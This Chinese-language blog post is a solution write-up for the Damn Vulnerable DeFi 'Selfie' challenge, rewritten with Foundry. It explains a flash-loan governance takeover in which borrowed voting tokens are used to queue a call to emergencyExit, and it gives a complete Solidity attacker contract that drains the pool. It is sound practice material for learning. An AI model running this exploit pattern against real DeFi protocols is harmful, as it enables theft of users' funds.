banner
zach

zach

github
twitter
medium

該死的易受攻擊的DeFi | 自拍照

挑戰 #6 - 自拍照#

為了學習 solidity 和 foundry 系統,我使用 foundry 測試框架重新編寫了 damnvulnerable-defi 的解題,歡迎交流和共建~🎉

合約#

  • SimpleGovernance:治理代幣合約,實現 ISimpleGovernance 介面,可以預先設定 action,在兩天後可以執行此 action
  • SelfiePool:實現 IERC3156FlashLender,提供閃電貸款,包括 ERC20Snapshot 和 SimpleGovernance 兩種 token

測試#

  • 部署 DamnValuableTokenSnapshot,SimpleGovernance 合約
  • 部署 SelfiePool 合約,向 pool 中轉入 token,數目為 TOKENS_IN_POOL
  • 對 token 執行一次快照,當前 pool 中餘額和最大供閃電貸款額度均為 TOKENS_IN_POOL
  • 執行攻擊腳本
  • 期望 player 帳戶 token 餘額為 TOKENS_IN_POOL,pool 帳戶 token 餘額為 0

解題#

本題的目的就是取走 pool 中的全部 token,在 pool 合約中有emergencyExit 函數

可以看到,只要滿足onlyGovernance 條件,即可轉走當前合約內的任意數目 token

function emergencyExit(address receiver) external onlyGovernance {
        uint256 amount = token.balanceOf(address(this));
        token.transfer(receiver, amount);

        emit FundsDrained(receiver, amount);
    }

onlyGovernance 要求調用方必須是SimpleGovernance合約,我們又知道在SimpleGovernance

合約中提供了設定 action 和執行 action 的方法,在設定 action 的參數中就包括了 target 和 calldata 這樣的合約調用參數

因此完整的調用流程如下所示:

image

首先通過調用攻擊合約,實施閃電貸獲得 goveranceToken,再去 SimpleGoverance 中記錄一個 action,填入的目標方法就是調用 pool 的 emergencyExit

待兩天後,通過主動執行 action 來轉移出 pool 的全部 token

代碼如下:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {SelfiePool, SimpleGovernance, DamnValuableTokenSnapshot} from "../../src/selfie/SelfiePool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";


contract SelfiePoolAttacker is IERC3156FlashBorrower{
    SelfiePool pool;
    SimpleGovernance governance;
    DamnValuableTokenSnapshot token;
    address owner;
    uint256 actionId;

    constructor(address _pool, address _governance, address _token){
        owner = msg.sender;
        pool = SelfiePool(_pool);
        governance = SimpleGovernance(_governance);
        token = DamnValuableTokenSnapshot(_token);
    }

    function attack(uint256 amount) public {
        // call flashloan
        pool.flashLoan(IERC3156FlashBorrower(this), address(token), amount, "0x");
    }

    function onFlashLoan(
            address initiator,
            address _token,
            uint256 amount,
            uint256 fee,
            bytes calldata data
        ) external returns (bytes32){
            // queue action
            token.snapshot();
            actionId = governance.queueAction(address(pool), 0, abi.encodeWithSignature("emergencyExit(address)", owner));
            token.approve(address(pool), amount);
            return keccak256("ERC3156FlashBorrower.onFlashLoan");
        }

    function executeAction() public{
        governance.executeAction(actionId);
    }

}
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。